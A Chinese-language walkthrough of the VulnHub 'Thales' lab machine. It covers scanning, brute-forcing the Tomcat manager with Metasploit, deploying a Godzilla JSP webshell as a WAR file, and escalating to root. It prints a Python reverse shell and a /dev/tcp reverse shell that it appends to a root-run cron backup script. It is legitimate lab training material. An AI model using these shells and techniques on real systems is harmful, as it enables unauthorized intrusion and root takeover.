VulnHub-Thales打靶记录

目标发现

netdiscover 发现目标

VulnHub-Thales打靶记录_第1张图片

信息收集

nmap -sV -Pn -sT -sC -A 192.168.0.189 对目标进行扫描看暴露了哪些资产。

VulnHub-Thales打靶记录_第2张图片

访问http://192.168.0.189:8080 发现是个tomcat的后台页面。

目录扫描

dirsearch -u http://192.168.0.189:8080 -w /usr/share/dirb/wordlists/common.txt -e html,jsp,txt -f -i 200,403,302

因为tomcat是java 的网站这里就不扫描php了

VulnHub-Thales打靶记录_第3张图片

没有太多的有用信息,爆破tomcat的登陆是否存在弱口令。

tomcat传参并不是post传参,不能用burp或者hydra,如下

VulnHub-Thales打靶记录_第4张图片

这里用到msf的一个组件进行爆破

进入msfconsole 使用 use auxiliary/scanner/http/tomcat_mgr_login 进入到组件中

设置参数set rhost 192.168.0.189

直接run即可。

在这里插入图片描述

获取到账户名tomcat 密码role1可以登陆成功。

RCE

通过tomcat的后台管理页面,可以部署项目,换句话说也可以上传木马。

使用哥斯拉生成一个webshell 1.jsp 将其添加进压缩文件中,如1.zip 。

VulnHub-Thales打靶记录_第5张图片

然后更改1.zip的后缀为war

VulnHub-Thales打靶记录_第6张图片

通过部署后。

即可用哥斯拉连接http://192.168.0.189:8080/1/1.jsp 密码为生成时的密码。

权限提升

由于是tomcat用户,几乎没有什么权限,使用sudo -l 需要密码,登陆密码不是tomcat后台密码,看起来没有什么可以利用的东西。那就盲目的翻找总会有。

使用如下命令,查找可读可写可执行的文件,看看有没有一些有用信息。

find / -perm +rwx -type f 2>/dev/null

查到了一个文件 /usr/local/bin/backup.sh

#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################
# What to backup. 
backup_files="/opt/tomcat/"
# Where to backup to.
dest="/var/backups"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest

这是一个可以用来备份的文件。大胆的猜测是定时执行的。上传一个文件查看即可pspy64 如果没有这个文件可以网上搜索资源,实在没有给我要。这里哥斯拉的命令执行模块就有点拉胯了(也可能是我不会用吧,这里还是要把权限返回到nc才好用,早知道直接反弹了。)

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.187",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' 然后在nc窗口执行pspy64 即可看到如下信息,其中就有root 用户执行/usr/local/bin/backup.sh文件的记录(并且重复执行了。),那么这个文件既然可更改,只要将反弹shell的命令等下一次root执行的时候就可以将root权限反弹出去了。

VulnHub-Thales打靶记录_第7张图片

echo "sh -i >& /dev/tcp/192.168.0.187/6666 0>&1" >> /usr/local/bin/backup.sh 添加反弹shell的命令到文件结尾,开启新的终端窗口 监听 nc -lvvnp 6666

这里要经过漫长的等待。看如上信息就是五分钟执行了依次。

在这里插入图片描述

终于获得了root权限。

其实一开始写的wp是用的msf直接一把梭哈提权的,但是不知道为什么,做wp的时候怎么都提权不了,有兴趣的可以用msf的use post/multi/recon/local_exploit_suggester 模块进行测试。

你可能感兴趣的:(kali,VulnHub,tomcat,java)